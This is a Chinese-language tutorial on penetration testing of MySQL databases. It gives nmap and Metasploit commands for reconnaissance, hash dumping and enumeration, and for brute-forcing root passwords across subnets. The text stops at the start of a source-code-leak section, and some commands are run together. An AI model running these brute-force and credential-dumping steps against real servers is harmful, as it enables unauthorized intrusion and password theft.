Mysql数据库渗透及漏洞利用总结
Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP、和WAMP等,在针对网站渗透中,很多都是跟Mysql数据库有关,各种Mysql注入,Mysql提权,Mysql数据库root账号webshell获取等的,但没有一个对Mysql数据库渗透较为全面对总结,针对这种情况我们开展了研究,虽然我们团队今年正在出版《网络攻防实战研究——漏洞利用与提权》,但技术的进步有无止境,思想有多远,路就可以走多远,在研究mysql数据库安全之余,对Mysql如何通过msf、sqlmap等来进行扫描、漏洞利用、提权、Mysql密码破解和获取webshell等进行了详细研究。
1.1 Mysql信息收集
1.端口信息收集
Mysql默认端口是3306端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:
(1)iisputter,直接填写3306端口,IP地址填写单个或者C段地址。
(2)nmap扫描nmap -p 3306 192.168.1.1-254
特定目标的渗透,可能需要对全端口进行扫描,可以使用Nmap对某一个IP地址进行全端口扫描,端口扫描软件还有sfind等DOS下扫描的工具。
2.版本信息收集
(1)msf查看版本信息auxiliary/scanner/mysql/mysql_version模块,以扫描主机192.168.157.130为例,命令为:
ActionScript
use auxiliary/scanner/mysql/mysql_version
set rhosts 192.168.157.130run
(2)mysql查询版本命令:
ActionScript
SELECT @@version`、`SELECT version();
(3)sqlmap通过注入点扫描确认信息:
ActionScript
sqlmap.py -u url --dbms mysql
(4)phpmyadmin管理页面登录后查看localhost->变量->服务器变量和设置中的version参数值。
3.数据库管理信息收集
Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。
4.msf信息收集模块
(1)mysql哈希值枚举
ActionScript
use auxiliary/scanner/mysql/mysql_hashdumpset username rootset password root
run
(2)获取相关信息
ActionScript
use auxiliary/admin/mysql/mysql_enumset username rootset password root
run
获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。
(3)执行mysql语句,连接成功后可以在msf执行sql语句,跟sqlmap的--sql-shell模块类似。
ActionScript
use auxiliary/admin/mysql/mysql_sql
(4)将mysql_schem导出到本地 /root/.msf4/loot/文件夹下
ActionScript
use auxiliary/scanner/mysql/mysql_schemadump
(5)文件枚举和目录可写信息枚举
ActionScript
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_writable_dirs
没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。
1.2Mysql密码获取
1.2.1暴力破解
Mysql暴力破解主要有几种:
1.网页在线连接破解
可以使用burpsuite和phpMyAdmin多线程批量破解工具。 下载:https://portswigger.net/burp/、http://pan.baidu.com/s/1c1LD6co
2.msf通过命令行进行暴力破解
msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD和PASS_FILE,其它参数根据实际情况进行设置。
(1)场景A:对内网获取root某一个口令后,扩展渗透
ActionScript
use auxiliary/scanner/mysql/mysql_loginset RHOSTS 192.168.157.1-254set password rootset username root
run
执行后对192.168.157.1-254进行mysql密码扫描验证。
(2)场景B:使用密码字典进行扫描
ActionScript
use auxiliary/scanner/mysql/mysql_loginset RHOSTS 192.168.157.1-254set pass_file /tmp/password.txtset username root
run
3.使用nmap扫描并破解密码
(1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描
ActionScript
nmap --script=mysql-brute 192.168.157.130nmap --script=mysql-brute 192.168.157.1-254
(2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息
ActionScript
nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130
(3)检查root空口令
ActionScript
nmap --script mysql-empty-password 192.168.195.130
4.使用hscan工具对mysql口令进行扫描,需要设置扫描IP地址段以及数据库口令字典及用户名字典。
1.2.2源代码泄露
1.网站源代码备份文件
本文来源:SecYe安全网[http://www.secye.com] (责任编辑:SecYe安全)
下一篇:没有了
- ·Mysql数据库渗透及漏洞利用总结
- ·KaliRouter安装与使用全指南
- ·MSSQL注入两种执行命令的方法
- ·Mysql注入姿势-Luanmap 配置文件
- ·Md5扩展攻击的原理和应用
- ·针对MSSQL弱口令实战流程梳理与问题记录
- ·MySQL 注入攻击与防御
- ·在大数据时代使用冗余数据技术绕过安全检
- ·腾讯云数据库团队:SQL Server 数据加密
- ·一道审计型注入CTF题解(injection_cut)
- ·数据库攻防与加固
- ·Mysql下Union注入Bypass安全狗过程
- ·phpMyAdmin漏洞利用与安全防范
- ·口令破解access
- ·Docker数据安全隐患分析
- ·Hack Redis via Python urllib HTTP Head
- ·详解TCP/IP协议栈面临的五大网络安全问题
- ·Mysql数据库渗透及漏洞利用总结
- ·DB2在渗透中的应用
- ·企业数据安全的6大关键特征
- ·解决Win下MySQL root导出Webshell换行符问
- ·网站安全实践:对预防SQL注入的几点建议
- ·基于Python的反连Shell和后渗透工具
- ·BigDump 工具导入超大 MySQL 数据库备份文
- ·参数化查询为什么能够防止SQL注入
- ·MySQL 注入攻击与防御
- ·Oracle数据库网络与安全FAQ精粹汇集
- ·看我如何通过DBMS_SQL获取DBA权限的
- ·在大数据时代使用冗余数据技术绕过安全检测
- ·数据库攻防与加固
- ·Docker数据安全隐患分析